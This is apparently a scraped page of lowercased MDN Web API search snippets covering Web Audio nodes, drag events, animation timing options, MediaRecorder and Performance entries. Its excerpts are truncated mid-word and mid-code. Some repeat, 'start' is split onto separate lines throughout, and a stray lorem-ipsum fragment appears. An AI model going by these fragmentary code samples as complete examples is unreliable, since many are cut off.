start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.
start(); synthsource.connect(synthdelay); synthdelay.connect(destination); this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function() { synthsource.disconnect(synthdelay); synthdelay.disconnect(destination); synthsource.stop(); playsynth.removeattribute('disabled'); } ... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.
Document: drag event - Web APIs
an element or text selection is being dragged by the user. bubbles yes cancelable yes default action continue the drag & drop operation. interface dragevent event handler property ondrag examples see this code in a jsfiddle demo or interact with it below. ...
...on the dragged elem dragged = event.target; // make it half transparent event.target.style.opacity = .5; }, false); document.addeventlistener("dragend", function(event) { // reset the transparency event.target.style.opacity = ""; }, false); /* events fired on the drop targets */ document.addeventlistener("dragover", function(event) { // prevent ...
DocumentOrShadowRoot.activeElement - Web APIs
the activeelement read-only property of the document and shadowroot interfaces returns the element within the dom or shadow dom tree that currently has focus. often activeelement will return a htmlinputelement or htmltextareaelement object if it has the text selection at the time. if so, you can get more detail by using the object's selection
start and selectionend properties. other times the focused element might be a <select> element (menu) or an <input> element, of type "button", "checkbox", or "radio". typically a user can press the tab key to move the focus around the page among focusable elements, and use the space bar to activate one (that is, to press a button or toggle a radio button). which elements are focusable varies depending on the platform and the browser's current configurati...
... ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. ...
DocumentTimeline.DocumentTimeline() - Web APIs
nttimeline object associated with the active document of the current browsing context. syntax var sharedtimeline = new documenttimeline(options); parameters options an object specifying options for the new timeline. ...
...is the origintime member which specifies the zero time for the documenttimeline as a real number of milliseconds relative to the navigation
start moment of the active document for the current browsing context. examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. ...
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
t will make it easily readable by yourself and other people. in fact, much of our source code is full of these whitespace characters, and we only tend to get rid of it in a production build step to reduce code download sizes. html largely ignores whitespace? in the case of html, whitespace is largely ignored — whitespace in between words is treated as a single character, and whitespace at the
start and end of elements and outside elements is ignored. take the following minimal example: <!doctype html> <h1> hello world! </h1> this source code contains a couple of line feeds after the doctype and a bunch of space characters before, after, and inside the <h1> element, but the browser doesn’t seem to care at all and just shows the words "hello world!" as if these charac...
...s to ignore most characters but that word-separating characters remain. when you’re only dealing with block-level elements such as <p> that only contain inline elements such as <em>, <strong>, <span>, etc., you don’t normally care about this because the extra whitespace that does make it to the layout is helpful to separate the words in the sentence. it gets more interesting however when you
start using inline-block elements. these elements behave like inline elements on the outside, and blocks on the inside, and are often used to display more complex pieces of ui than just text, side-by-side on the same line, for example navigation menu items. because they are blocks, many people expect that they will behave as such, but really they don’t. if there is formatting whitespace between adja...
DragEvent - Web APIs
fired when a dragged element or text selection leaves a valid drop target. dragover this event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms when mouse is not moving else much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. this firing pattern is different than mouseover ). drag
start this event is fired when the user
starts dragging an element or text selection. drop this event is fired when an element or text selection is dropped on a valid drop target. globaleventhandlers globaleventhandlers.ondrag a global event handler for the drag event. globaleventhandlers.ondragend a global event handler for the dragend event. globaleventhandlers.ondragenter a global event...
...d a global event handler for the dragend event. globaleventhandlers.ondragenter a global event handler for the dragenter event. globaleventhandlers.ondragexit a global event handler for the dragexit event. globaleventhandlers.ondragleave a global event handler for the dragleave event. globaleventhandlers.ondragover a global event handler for the dragover event. globaleventhandlers.ondrag
start a global event handler for the drag
start event. globaleventhandlers.ondrop a global event handler for the drop event. example an example of each property, constructor, event type and global event handlers is included in their respective reference page. specifications specification status comment html living standardthe definition of 'dragevent' in that specificatio...
EXT_disjoint_timer_query.beginQueryEXT() - Web APIs
return value none. examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); ext.beginqueryext(ext.time_elapsed_ext, query); // ... ...
... return value none. examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); ext.beginqueryext(ext.time_elapsed_ext, query); // ... ...
EffectTiming - Web APIs
o describe timing properties for animation effects. these properties are all optional, although without setting a duration the animation will not play. simply put, these properties describe how the user agent should go about making the transition from keyframe to keyframe, and how to behave when the animation begins and ends. properties delay optional the number of milliseconds to delay the
start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. althoug...
... of milliseconds to delay after the end of an animation. this is primarily of use when sequencing animations based on the end time of another animation. defaults to 0. fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("backwards"), retained after the animation has completed playing ("forwards"), or both. defaults to "none". iteration
start optional describes at what point in the iteration the animation should
start. 0.5 would indicate
starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration. defaults to 0.0. iterations optional the number of times the animation should repeat. defaults to 1, and can also take a value of infinity t...
Element.animate() - Web APIs
whose property are arrays of values to iterate over. see keyframe formats for more details. options either an integer representing the animation's duration (in milliseconds), or an object containing one or more timing properties: id optional a property unique to animate(): a domstring with which to reference the animation. delay optional the number of milliseconds to delay the
start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. althoug...
... of milliseconds to delay after the end of an animation. this is primarily of use when sequencing animations based on the end time of another animation. defaults to 0. fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("backwards"), retained after the animation has completed playing ("forwards"), or both. defaults to "none". iteration
start optional describes at what point in the iteration the animation should
start. 0.5 would indicate
starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration. defaults to 0.0. iterations optional the number of times the animation should repeat. defaults to 1, and can also take a value of infinity t...
Element.clientTop - Web APIs
the width of the top border of an element in pixels. it is a read-only, integer property of element. as it happens, all that lies between the two locations (offsettop and client area top) is the element's border. this is because the offsettop indicates the location of the top of the border (not the margin) while the client area
starts immediately below the border, (client area includes padding.) therefore, the clienttop value will always equal the integer portion of the .getcomputedstyle() value for "border-top-width". (actually might be math.round(parsefloat()).) for example, if the computed "border-top-width" is zero, then clienttop is also zero. note: this property will round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). gecko-based appli...
... will always equal the integer portion of the .getcomputedstyle() value for "border-top-width". (actually might be math.round(parsefloat()).) for example, if the computed "border-top-width" is zero, then clienttop is also zero. note: this property will round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). gecko-based applications support clienttop
starting with gecko 1.9 (firefox 3, implemented in bug 111207). this property is not supported in firefox 2 and earlier. syntax var top = element.clienttop; example in the following illustration, the client area is show in white. (the segments labeled "top", "right", etc. have no significance regarding the client area.) the clienttop value is the distance from where the margin (yellow) area ends a...
Element.scrollIntoView() - Web APIs
ed is visible to the user syntax element.scrollintoview(); element.scrollintoview(aligntotop); // boolean parameter element.scrollintoview(scrollintoviewoptions); // object parameter parameters aligntotop optional is a boolean value: if true, the top of the element will be aligned to the top of the visible area of the scrollable ancestor. corresponds to scrollintoviewoptions: {block: "
start", inline: "nearest"}. this is the default value. if false, the bottom of the element will be aligned to the bottom of the visible area of the scrollable ancestor. corresponds to scrollintoviewoptions: {block: "end", inline: "nearest"}. scrollintoviewoptions optional is an object with the following properties: behavior optional defines the transition animation. one of auto or s...
...lement will be aligned to the bottom of the visible area of the scrollable ancestor. corresponds to scrollintoviewoptions: {block: "end", inline: "nearest"}. scrollintoviewoptions optional is an object with the following properties: behavior optional defines the transition animation. one of auto or smooth. defaults to auto. block optional defines vertical alignment. one of
start, center, end, or nearest. defaults to
start. inline optional defines horizontal alignment. one of
start, center, end, or nearest. defaults to nearest. example var element = document.getelementbyid("box"); element.scrollintoview(); element.scrollintoview(false); element.scrollintoview({block: "end"}); element.scrollintoview({behavior: "smooth", block: "end", inline: "nearest"}); no...
Element - Web APIs
s a cut action through the browser's user interface. also available via the oncut property. paste fired when the user initiates a paste action through the browser's user interface. also available via the onpaste property. composition events compositionend fired when a text composition system such as an input method editor completes or cancels the current composition session. composition
start fired when a text composition system such as an input method editor
starts a new composition session. compositionupdate fired when a new character is received in the context of a text composition session controlled by a text composition system such as an input method editor. focus events blur fired when an element has lost focus. also available via the onblur property. focus fired whe...
...ted in an implementation-specific manner (for example, too many touch points are created). also available via the ontouchcancel property. touchend fired when one or more touch points are removed from the touch surface. also available via the ontouchend property touchmove fired when one or more touch points are moved along the touch surface. also available via the ontouchmove property touch
start fired when one or more touch points are placed on the touch surface. also available via the ontouch
start property specifications specification status comment css pseudo-elements level 4the definition of 'element' in that specification. working draft added the pseudo() method. web animations working draft added the getanimations() method. ...
Event.eventPhase - Web APIs
ble values are listed in event phase constants. constants event phase constants these values describe which phase the event flow is currently being evaluated. constant value description event.none 0 no event is being processed at this time. event.capturing_phase 1 the event is being propagated through the target's ancestor objects. this process
starts with the window, then document, then the htmlhtmlelement, and so on through the elements until the target's parent is reached. event listeners registered for capture mode when eventtarget.addeventlistener() was called are triggered during this phase. event.at_target 2 the event has arrived at the event's target. event listeners registered for this phase are called at this time. if...
... was called are triggered during this phase. event.at_target 2 the event has arrived at the event's target. event listeners registered for this phase are called at this time. if event.bubbles is false, processing the event is finished after this phase is complete. event.bubbling_phase 3 the event is propagating back up through the target's ancestors in reverse order,
starting with the parent, and eventually reaching the containing window. this is known as bubbling, and occurs only if event.bubbles is true. event listeners registered for this phase are triggered during this process. for more details, see section 3.1, event dispatch and dom event flow, of the dom level 3 events specification. example html <h4>event propagation chain</h4> <ul> <li>click 'd...
GestureEvent - Web APIs
gestureevent derives from uievent, which in turn derives from event. constructor gestureevent() creates a gestureevent object. properties this interface also inherits properties of its parents, uievent and event. gestureevent.rotation read only change in rotation (in degrees) since the event's beginning. positive values indicate clockwise rotation; negative values indicate anticlockwise rotation. ...
...gesture. values below 1.0 indicate an inward pinch (zoom out). values above 1.0 indicate an outward unpinch (zoom in). initial value: 1.0 methods this interface also inherits methods of its parents, uievent and event. gestureevent.initgestureevent() initializes the value of an gestureevent. if the event has already being dispatched, this method does nothing. gesture event types gesture
start gesturechange gestureend specifications not part of any specification. apple has a description at the safari developer library. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet e...
HTMLInputElement.setRangeText() - Web APIs
the htmlinputelement.setrangetext() method replaces a range of text in an <input> or <textarea> element with a new string. syntax element.setrangetext(replacement); element.setrangetext(replacement,
start, end [, selectmode]); parameters replacement the string to insert.
start optional the 0-based index of the first character to replace. defaults to the current selection
start value (the
start of the user's current selection). end optional the 0-based index of the character after the last character to replace. ...
... "end" moves the selection to just after the inserted text. "preserve" attempts to preserve the selection. this is the default. example click the button in this example to replace part of the text in the text box. the newly inserted text will be highlighted (selected) afterwards. ...
HTMLTableRowElement - Web APIs
an enumerated value indicating how the content of the cell must be vertically aligned. it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablerowelement.deletecell() removes the cell at the given position in the row. ...
...returns a reference to a htmltablecellelement [en-us]. specifications specification status comment html living standardthe definition of 'htmltablerowelement' in that specification. ...
HTMLTableSectionElement - Web APIs
merated value indicating how the content of the cell must be vertically aligned. it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablesectionelement.deleterow() removes the cell at the given position in the section. ...
... specifications specification status comment html living standardthe definition of 'htmltablesectionelement' in that specification. ...
Dragging and Dropping Multiple Items - Web APIs
s, however, they take an additional argument that specifies the index of the item to retrieve, modify or remove. the drag processing described in this document use the datatransfer interface. this processing does not use the datatransferitem interface nor the datatransferitemlist interface. ...
...using 0 as the index is equivalent to calling setdata(). you can clear an item using the mozcleardataat() method. ...
History.pushState() - Web APIs
cript object which is associated with the new history entry created by pushstate(). whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. because firefox saves state objects to the user's disk so they can be restored after the user re
starts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. if you pass a state object whose serialized representation is larger than this to pushstate(), the method will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title most browsers currently ignore this parameter, although t...
...future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. url optional the new history entry's url is given by this parameter. note that the browser won't attempt to load this url after a call to pushstate(), but it might attempt to load the url later, for instance after the user re
starts the browser. the new url does not need to be absolute; if it's relative, it's resolved relative to the current url. the new url must be of the same origin as the current url; otherwise, pushstate() will throw an exception. if this parameter isn't specified, it's set to the document's current url. description in a sense, calling pushstate() is similar to setting window.location = "#foo", in th...
IDBCursor - Web APIs
brequest object, and, in a separate thread, updates the value at the current position of the cursor in the object store. this can be used to update specific records. constants these constants are no longer available — they were removed in gecko 25. you should use the string constants directly instead. (bug 891944) next : "next" : the cursor shows all records, including duplicates. it
starts at the lower bound of the key range and moves upwards (monotonically increasing in the order of keys). nextunique : "nextunique" : the cursor shows all records, excluding duplicates. if multiple records exist with the same key, only the first one iterated is retrieved. it
starts at the lower bound of the key range and moves upwards. prev : "prev" : the cursor shows all records, including dupli...
...ower bound of the key range and moves upwards (monotonically increasing in the order of keys). nextunique : "nextunique" : the cursor shows all records, excluding duplicates. if multiple records exist with the same key, only the first one iterated is retrieved. it
starts at the lower bound of the key range and moves upwards. prev : "prev" : the cursor shows all records, including duplicates. it
starts at the upper bound of the key range and moves downwards (monotonically decreasing in the order of keys). prevunique : "prevunique" : the cursor shows all records, excluding duplicates. if multiple records exist with the same key, only the first one iterated is retrieved. it
starts at the upper bound of the key range and moves downwards. examples in this simple fragment we create a transactio...
Browser storage limits and eviction criteria - Web APIs
e same in all cases. opera mini (still presto-based, server-side rendering) doesn't store any data on the client. what technologies use browser data storage? in firefox, the following technologies make use of browser data storage to store data when required. we term them "quota clients" in this context: indexeddb asm.js caching cache api cookies note: in firefox, web storage will soon
start to use the same storage management tools too, as described in this document. note: in private browsing mode, most data storage is not supported. local storage data and cookies are still stored, but they are ephemeral — the data is deleted when you close the last private browsing window. the "last access time" of origins is updated when any of these are activated/deactivated — origin evic...
...al limit was, say, 8 mb, then the group limit would also be 8 mb. note: if the group limit is exceeded, or if origin eviction couldn't free enough space, the browser will throw a quotaexceedederror. note: in chrome the soft and hard storage quota limits has changed since m66. more information can be found here. lru policy when the available disk space is filled up, the quota manager will
start clearing out data based on an lru policy — the least recently used origin will be deleted first, then the next one, until the browser is no longer over the limit. we track the "last access time" for each origin using temporary storage. once the global limit for temporary storage is reached (more on the limit later), we try to find all currently unused origins (i.e., ones with no tabs/apps open...
enabled - Web APIs
lation is enabled for this client machine. method of installtrigger object syntax boolean enabled (); parameters none returns true if software installation is enabled for this client machine; otherwise, false. ...
...the method reflects the value of the software installation preference in the user interface, and of the xpinstall.enabled preference in pref.js. ...
KeyframeEffect.KeyframeEffect() - Web APIs
ee above) creates a completely new keyframeeffect object instance. its parameters are: element the dom element to be animated, or null. keyframeset an keyframe object or null. keyframeoptions optional either an integer representing the animation's duration (in milliseconds), or an object containing one or more of the following: delay optional the number of milliseconds to delay the
start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. althoug...
... of milliseconds to delay after the end of an animation. this is primarily of use when sequencing animations based on the end time of another animation. defaults to 0. fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("backwards"), retained after the animation has completed playing ("forwards"), or both. defaults to "none". iteration
start optional describes at what point in the iteration the animation should
start. 0.5 would indicate
starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration. defaults to 0.0. iterations optional the number of times the animation should repeat. defaults to 1, and can also take a value of infinity t...
KeyframeEffectOptions - Web APIs
replace overwrites the previous value with the new one. iterationcomposite optional determines how values build from iteration to iteration in this animation. can be set to accumulate or replace (see above). defaults to replace. pseudoelement optional the selector of the pseudo-element to be targeted, if any. defaults to null. delay optional the number of milliseconds to delay the
start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. althoug...
... of milliseconds to delay after the end of an animation. this is primarily of use when sequencing animations based on the end time of another animation. defaults to 0. fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("backwards"), retained after the animation has completed playing ("forwards"), or both. defaults to "none". iteration
start optional describes at what point in the iteration the animation should
start. 0.5 would indicate
starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration. defaults to 0.0. iterations optional the number of times the animation should repeat. defaults to 1, and can also take a value of infinity t...
MediaDevices.getDisplayMedia() - Web APIs
r permission every time. the call to getdisplaymedia() must be made from code which is running in response to a user action, such as in an event handler. browsers are encouraged to provide a warning to users about sharing displays or windows that contain browsers, and to keep a close eye on what other content might be getting captured and shown to other users. ...
...red and shown to other users. example in the example below, a
startcapture() method is created which initiates screen capture given a set of options specified by the displaymediaoptions parameter. the options are specified in the form of a mediastreamconstraints object which specifies the preferred stream configuration and the display surface from which video is to be captured. ...
MediaRecorder: error event - Web APIs
on for the event handler property: onerror. ...
... ${event.error.name}`) }); recorder.
start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.onerror = (event) => { console.error(`error recording stream: ${event.error.name}`) }; recorder.
start(); } record(); specifications specification status mediastream recording working draft ...
MediaStream Recording API - Web APIs
rder object, specifying the source stream and any desired options (such as the container's mime type or the desired bit rates of its tracks). set mediarecorder.ondataavailable to an event handler for the dataavailable event; this will be called whenever data is available for you. once the source media is playing and you've reached the point where you're ready to record video, call mediarecorder.
start() to begin recording. your dataavailable event handler gets called every time there's data ready for you to do with as you will; the event has a data attribute whose value is a blob that contains the media data. you can force a dataavailable event to occur, thereby delivering the latest sound to you so you can filter it, save it, or whatever. recording stops automatically when the source media ...
...e mediastream, and stop recording after 9 seconds. var canvas = document.queryselector("canvas"); // optional frames per second argument. var stream = canvas.capturestream(25); var recordedchunks = []; console.log(stream); var options = { mimetype: "video/webm; codecs=vp9" }; mediarecorder = new mediarecorder(stream, options); mediarecorder.ondataavailable = handledataavailable; mediarecorder.
start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ... } } function download() { var blob = new blob(recordedchunks, { type: "video/webm" }); var url = url.createobjecturl(blob); var a = document.createelement("a"); document.b...
Transcoding assets for Media Source Extensions - Web APIs
depending on the codec, you might need to fragment the file to comply with the iso bmff spec. ...
... if you wish to employ adaptive bitrate streaming, you'll have to create encodings at multiple resolutions. while mse is flexible enough to allow you to make your implementation, it's highly recommended to use an existing dash client as dash is a well-specified application protocol. creating content for dash given that you have ffmpeg and bento4's utilities accessible through your $path, yo...
MutationObserverInit.attributes - Web APIs
specify whether or not to watch for attribute value changes on the node or nodes being observed. syntax var options = { attributes: true | false } value a boolean value indicating whether or not to report through the callback any changes to the values of attributes on the node or nodes being monitored. the default value is false. if true, the callback specified when observe() was used to
start observing the node or subtree will be called any time one or more attributes have changed on observed nodes. you can expand the capabilities of attribute mutation monitoring using other options: attributefilter lets you specify specific attribute names to monitor instead of monitoring all attributes. attributeoldvalue lets you specify whether or not you want the previous value of changed att...
...for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (muta...
Using Navigation Timing - Web APIs
at the user experiences. collecting timing information using the api is as simple as obtaining the performance object using window.performance and looking up what you need within the object returned. for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigation
start; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigation
start), and outputs that information to the screen by inserting it into an element. html <div class="output"> </div> css .outpu...
...er to complete the navigation? this information is provided by the performance.navigation property, which returns a performancenavigation object that includes the needed information. let's add this information to the example above. ...
NodeList - Web APIs
returns an item in the list by its index, or null if the index is out-of-bounds. an alternative to accessing nodelist[i] (which instead returns undefined when i is out-of-bounds). this is mostly useful for non-javascript dom implementations. nodelist.entries() returns an iterator, allowing code to go through all key/value pairs contained in the collection. ...
...ined in the collection. (in this case, the keys are numbers
starting from 0 and the values are nodes.) nodelist.foreach() executes a provided function once per nodelist element, passing the element as an argument to the function. nodelist.keys() returns an iterator, allowing code to go through all the keys of the key/value pairs contained in the collection. (in this case, the keys are numbers
starting from 0.) nodelist.values() returns an iterator allowing code to go through all values (nodes) of the key/value pairs contained in the collection. example it's possible to loop over the items in a nodelist using a for loop: for (let i = 0; i < mynodelist.length; i++) { let item = mynodelist[i]; } don't use for...in to enumerate the items in nodelists, since they will also enumerate it...
OrientationSensor - Web APIs
, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.
start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors. becuase the permissions uses promises, a good way to request permissions is to use promise.all. const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), ...
... permissions is to use promise.all. const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.
start(); ... } else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'orientationsensor' in that specification. candidate recommendation initial definition. ...
OscillatorNode - Web APIs
when the tone has stopped playing. methods inherits methods from its parent, audioscheduledsourcenode, and adds the following: oscillatornode.setperiodicwave() sets a periodicwave which describes a periodic waveform to be used instead of one of the standard waveforms; calling this sets the type to custom. this replaces the now-obsolete oscillatornode.setwavetable() method. oscillatornode.
start() specifies the exact time to
start playing the tone. oscillatornode.stop() specifies the time to stop playing the tone. examples the following example shows basic usage of an audiocontext to create an oscillator node and to
start playing a tone on it. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = ...
...ur violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.
start(); specifications specification status comment web audio apithe definition of 'oscillatornode' in that specification. working draft ...
PannerNode.positionX - Web APIs
perty is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property. syntax var positionx = pannernode.positionx; pannernode.positionx.value = newpositionx; value an audioparam whose value is the x coordinate of the audio source's position, in 3d cartesian coordinates. the default value is 0. example the following example
starts an oscillator, and pans it to the left after 1 second, to the right after 2 seconds, and back to the center after 3 seconds. const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.positionx.setvalueattime(-1, context.currenttime + 1); panner.positionx.setvalueattime(1, context.currenttime + 2); panner.positionx.setvalueattim...
...back to the center after 3 seconds. const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.positionx.setvalueattime(-1, context.currenttime + 1); panner.positionx.setvalueattime(1, context.currenttime + 2); panner.positionx.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.
start(0); specifications specification status comment web audio apithe definition of 'positionx' in that specification. working draft ...
PannerNode.positionY - Web APIs
am contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property. syntax var positiony = pannernode.positiony; pannernode.positiony.value = newpositiony; value an audioparam whose value is the y coordinate of the audio source's position, in 3d cartesian coordinates. example the following example
starts an oscillator and pans it above the listener after 1 second, below the listener after 2 seconds, and back to the center after 3 seconds. note that in this case, the change will mainly affect the timbre of the oscillator, as it's a simple mono wave. const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'...
...ve. const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'; panner.positiony.setvalueattime(1, context.currenttime + 1); panner.positiony.setvalueattime(-1, context.currenttime + 2); panner.positiony.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.
start(0); specifications specification status comment web audio apithe definition of 'positiony' in that specification. working draft ...
PannerNode.positionZ - Web APIs
am contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property. syntax var positionz = pannernode.positionz; pannernode.positionz.value = newpositionz; value an audioparam whose value is the z coordinate of the audio source's position, in 3d cartesian coordinates. example the following example
starts an oscillator and moves it in front of the listener after 1 second, behind the listener after 2 seconds, and back to the listener's position after 3 seconds. note that in this case, the change will mainly affect the timbre and perceived volume of the sound. const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.panningmodel...
...nd. const context = new audiocontext(); const osc = new oscillatornode(context); const panner = new pannernode(context); panner.panningmodel = 'hrtf'; panner.positionz.setvalueattime(1, context.currenttime + 1); panner.positionz.setvalueattime(-1, context.currenttime + 2); panner.positionz.setvalueattime(0, context.currenttime + 3); osc.connect(panner) .connect(context.destination); osc.
start(0); specifications specification status comment web audio apithe definition of 'positionz' in that specification. working draft ...
PannerNode.rolloffFactor - Web APIs
reases with increasing distance from the listener: const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 4; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given rollofffactor // and schedules it to move away from the listener along the z (depth-wise) axis // at the given
start time, resulting in a decrease in volume (decay) const scheduletesttone = (rollofffactor,
starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0,
starttime); panner.positionz.linearramptovalueattime(z_distance,
startti...
...tor,
starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0,
starttime); panner.positionz.linearramptovalueattime(z_distance,
starttime + note_length); osc.connect(panner) .connect(context.destination); osc.
start(
starttime); osc.stop(
starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveform...
PaymentRequest.show() - Web APIs
f an exception is thrown by the previous code, complete() is called with the string "fail", which indicates that the payment process is complete and failed. instead of immediately failing, you could choose to call retry() on the response object to ask the user agent to try to process the payment again; this should usually only be done after the user has made any needed corrections to the order.
starting the payment process, in the end, is as simple as calling the processpayment() method. then/catch syntax you can also use the older promise-based approach to work with payments, using the then() and catch() functions on the promise returned by show(): function processspayment() { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onshippingaddresschange = ev...
...e.methodname contains the selected payment method // paymentresponse.details contains a payment method specific response await response.complete("success"); } catch (err) { console.error("uh oh, something bad happened", err.message); } } the following example shows how to update the payment sheet as it's being presented to the end-user. async function requestpayment() { // we
start with au$0 as the total. const initialdetails = { total: { label: "total", amount: { value: "0", currency: "aud" }, }, }; const request = new paymentrequest(methods, initialdetails, options); // check if the the user supports the `methods` if (!await request.canmakepayment()) { return; // no, so use a web form instead. } // let's update the total as the sheet ...
performance.getEntries() - Web APIs
ts in time. if you are only interested in performance entries of certain types or that have certain names, see getentriesbytype() and getentriesbyname(). note: this feature is available in web workers. syntax general syntax: entries = window.performance.getentries(); return value entries an array of performanceentry objects. the items will be in chronological order based on the entries'
starttime. example function use_performanceentry_methods() { console.log("performanceentry tests ..."); if (performance.mark === undefined) { console.log("... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); performance.mark("begin"); do_work(100000); ...
... to iterate through the each entry let p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("entry[" + i + "]"); check_performanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performance.getentriesbytype("mark"); for (let i=0; i < p.length; i++) { console.log ("mark only entry[" + i + "]: name = " + p[i].name + ";
starttime = " + p[i].
starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (let i=0; i < p.length; i++) { console.log ("mark and begin entry[" + i + "]: name = " + p[i].name + ";
starttime = " + p[i].
starttime + "; duration = " + p[i].duration); ...
performance.getEntriesByName() - Web APIs
trieve. type optional the type of entry to retrieve such as "mark". the valid entry types are listed in performanceentry.entrytype. return value entries a list of performanceentry objects that have the specified name and type. if the type argument is not specified, only the name will be used to determine the entries to return. the items will be in chronological order based on the entries'
